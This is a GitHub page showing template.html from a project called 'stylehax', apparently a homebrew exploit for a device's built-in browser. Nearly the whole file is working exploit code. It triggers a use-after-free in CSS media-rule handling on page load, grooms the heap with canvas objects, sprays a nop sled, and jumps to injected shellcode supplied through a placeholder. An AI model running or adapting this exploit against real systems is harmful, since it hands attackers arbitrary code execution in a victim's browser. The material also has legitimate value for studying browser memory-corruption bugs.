-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathtemplate.html
103 lines (86 loc) · 2.99 KB
/
template.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<!-- stylehax by nathan 2023 -->
<!-- https://github.com/nathanfarlow/stylehax -->
<html>
<head>
<title>stylehax</title>
<style id="style1">
@media all {
.test {
color: green;
}
}
</style>
<script>
var shellcode = "{REPLACE_SHELLCODE_HERE}";
function exploit() {
var canvases = [];
var N = 0x480;
var obj_size = 0x50;
// create a bunch of canvases for heap magic
for (var i = 0; i <= N; i++) {
var a = document.createElement("canvas");
a.width = obj_size / 4;
a.height = 1;
canvases[i] = a;
document.body.appendChild(a);
}
var styleSheet = document.getElementById('style1').sheet;
var mediaRule = styleSheet.cssRules[0];
// heap magic
var arr = new Array();
for (var i = 0; i <= N; i++) {
c = canvases[i].getContext("2d");
c.fillStyle = "rgb(0, 0, 0)";
c.fillRect(0, 0, obj_size / 4, 1);
arr[i] = c.getImageData(0, 0, obj_size / 4, 1).data[0];
}
try {
// fails with syntax error and throws exception,
// but still adds some corrupted object to mediaRule.cssRules
mediaRule.insertRule("@media screen { p { color: green; } };", mediaRule.cssRules.length);
} catch (e) {
}
// empty mediaRule.cssRules
mediaRule.deleteRule(0);
mediaRule.deleteRule(0);
// try to reclaim memory of freed object with jump shellcode
// (more heap magic)
var arr = new Array();
for (var i = 0; i <= N; i++) {
canvases[i].width = canvases[i].width;
c = canvases[i].getContext("2d");
// 0x2bc5120 -- address of nop sled
c.fillStyle = "rgba(32, 81, 188, 0.0079)";
c.fillRect(0, 0, 1, 1);
// FE FF 13 EA -- b #0x500000 -- bootstrap: jumps to nop sled
c.fillStyle = "rgba(254, 255, 19, 0.918)"
c.fillRect(1, 0, obj_size / 4 - 1, 1);
arr[i] = c.getImageData(0, 0, obj_size / 4, 1).data[0];
}
// 0x2bc5120 is effectively a nop, and is also the address of our nop sled
var nops = "\u2051\ubc02";
while (nops.length < 0x10000) {
nops += nops;
}
// spray nopsleds and shellcode
var a = new Array();
for (var i = 0; i < 0x4; i++) {
a[i] = nops + shellcode;
}
// more heap magic...
for (var i = 0; i < 0x100; i++) {
a[4 + i] = "" + i;
}
// accessing this property causes jump to bootstrap
mediaRule.cssRules.length;
alert("exploit failed. reboot and try again")
}
</script>
</head>
<body onload="exploit()">
<div style="width: 250px">
<p>stylehax by nathan</p>
<p>exploit in progress... if you've waited > 30 seconds, reboot and try again!</p>
</div>
</body>
</html>